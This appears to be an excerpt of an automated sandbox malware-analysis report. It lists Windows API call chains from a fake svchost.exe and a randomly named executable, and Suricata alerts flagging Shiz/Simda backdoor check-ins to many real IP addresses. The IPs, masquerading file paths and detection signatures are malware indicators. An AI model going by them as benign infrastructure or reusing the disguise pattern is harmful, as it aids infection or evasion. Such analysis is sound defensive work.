Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D2D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,2_2_02D2D638
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D29460 PathFileExistsA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,2_2_02D29460
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D1CC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,2_2_02D1CC10
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D07400 PathFileExistsA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,2_2_02D07400
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D2D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,2_2_02D2D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012FE1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,4_2_012FE1B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_0130D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,4_2_0130D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012E7400 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,4_2_012E7400
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012FCC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,4_2_012FCC10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_01309460 PathFileExistsA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,4_2_01309460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_0130D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,4_2_0130D638
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E4E1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_00E4E1B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E59460 PathFileExistsA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,5_2_00E59460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E37400 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,5_2_00E37400
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E4CC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_00E4CC10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E5D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,5_2_00E5D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E5D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,5_2_00E5D638
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001F6B1C FindFirstFileExW,8_2_001F6B1C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E8E1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,8_2_00E8E1B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E99460 OpenMutexA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,8_2_00E99460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E77400 OpenMutexA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,8_2_00E77400
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E8CC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,8_2_00E8CC10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E9D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,8_2_00E9D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E9D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,8_2_00E9D638
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D1D060 StrStrIA,memset,memset,SetErrorMode,SetErrorMode,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,PathAddBackslashA,SetErrorMode,2_2_02D1D060

Networking

barindex
Suricata IDS alerts for network traffic
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:61390
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49718 -> 91.195.240.19:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49717 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49728 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49717 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49728 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49711 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:63105
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49725 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49725 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49709 -> 3.64.163.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49709 -> 3.64.163.50:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49733 -> 103.150.11.230:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49733 -> 103.150.11.230:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49713 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49713 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.5:49713
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49724 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49711 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.5:49711
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.5:49711
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.5:49713
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49708 -> 162.255.119.102:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49708 -> 162.255.119.102:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49712 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49712 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.5:49712
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.5:49712
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49719 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49719 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49715 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49715 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49716 -> 69.162.80.57:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49716 -> 69.162.80.57:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49724 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:50783
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49714 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49714 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49710 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49710 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49741 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49741 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:60684 -> 3.64.163.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:60684 -> 3.64.163.50:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49707 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49707 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:50088
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49722 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49722 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:50316
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:62838
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49730 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49730 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49731 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49731 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:62685 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:62685 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63518 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63518 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:64700
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:62489
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63521 -> 154.85.183.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63521 -> 154.85.183.50:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63519 -> 103.224.212.210:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63519 -> 103.224.212.210:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63535 -> 15.197.240.20:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:63695
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63535 -> 15.197.240.20:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:52863
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:53531
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:62686 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:62686 -> 72.52.179.174:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63520 -> 15.197.240.20:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63520 -> 15.197.240.20:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:62684 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:57825
Source: Network trafficSuricata IDS: 2021022 - Severity 1 - ET MALWARE Wapack Labs Sinkhole DNS Reply : 1.1.1.1:53 -> 192.168.2.5:62631
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63517 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59535 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59538 -> 69.162.80.57:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:62684 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59535 -> 3.94.10.34:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59538 -> 69.162.80.57:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63517 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59540 -> 91.195.240.19:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:63522 -> 103.224.182.252:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:63522 -> 103.224.182.252:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50850 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50850 -> 64.225.91.73:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59533 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59533 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59530 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59530 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:61321 -> 103.224.212.210:80
